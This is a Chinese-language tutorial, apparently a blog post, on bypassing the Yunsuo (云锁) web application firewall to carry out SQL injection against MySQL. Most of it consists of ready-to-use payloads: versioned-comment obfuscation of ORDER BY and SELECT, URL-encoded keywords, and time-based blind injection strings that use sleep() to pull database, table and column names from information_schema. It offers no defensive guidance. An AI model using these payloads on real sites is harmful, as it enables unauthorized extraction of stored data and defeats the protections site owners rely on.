实战bypass云锁
字数 922 2025-08-20 18:17:47
Bypass云锁WAF的SQL注入技术详解
1. 绕过ORDER BY限制
云锁WAF对order by语句有严格的拦截机制,但可以通过MySQL注释语法绕过:
/*!40000/*!30000order*//*!40000/*!30000by*/1
原理说明:
/*!30000order*/是MySQL的条件注释语法,表示当MySQL版本大于3.00.00时执行其中的内容- 通过嵌套注释
/*!40000/*!30000order*/增加混淆度 - 数字30000/40000代表数据库版本号,如果大于这个版本就会执行注释中的语句
2. 时间盲注技术
当无法绕过union select时,可采用时间盲注技术:
2.1 数据库长度探测
id=2 and length(database())>1
2.2 数据库名获取
id=2 and if(ascii(substr(database/**/(),1,1))>120,1,sleep/**/(7))
或:
id=2 and if(ascii(substr(database/*!()*/,1,1))>120,1,sleep/*!(7)*/)
技巧:
- 使用
/**/或/*!()*/注释分隔函数名和括号 sleep()函数同样使用注释分隔
2.3 表名获取
id=2 and if(ascii(substr((/*!50000%53elect*/table_name from information_schema.tables where table_schema=database/**/() limit 0,1),1,1))>96,1,sleep/**/(5))
关键突破点:
select被拦截,使用编码绕过:%53elect(%53是'S'的URL编码)- 使用MySQL版本条件注释
/*!50000select*/ - 表名查询语句中的
database()同样使用注释分隔
2.4 字段名获取
id=2 and if(ascii(substr((/*!50000%53elect*/column_name from information_schema.columns where table_schema=database/**/() and table_name='xxxx' limit 0,1),1,1))>96,1,sleep/**/(5))
3. 其他绕过技巧
-
函数名与括号分离:
database()→database/**/()或database/*!()*/
-
关键字编码:
select→%53elect
-
版本条件注释:
/*!50000select*/表示MySQL版本大于5.00.00时执行
-
sleep函数绕过:
sleep(5)→sleep/**/(5)或sleep/*!(5)*/
4. 注意事项
- 实际测试中发现
union select组合较难绕过,建议优先考虑时间盲注 - 不同版本的云锁可能有不同的规则,需要根据实际情况调整payload
- 注释符号的使用位置和方式对绕过效果有重要影响
- 测试时应逐步构建payload,定位被拦截的具体部分
5. 总结
通过本文的技术手段,可以有效地绕过云锁WAF对SQL注入的防护,特别是在order by和时间盲注场景下。关键在于灵活运用MySQL的注释语法、版本条件执行以及关键字编码等技术,分散WAF的检测规则。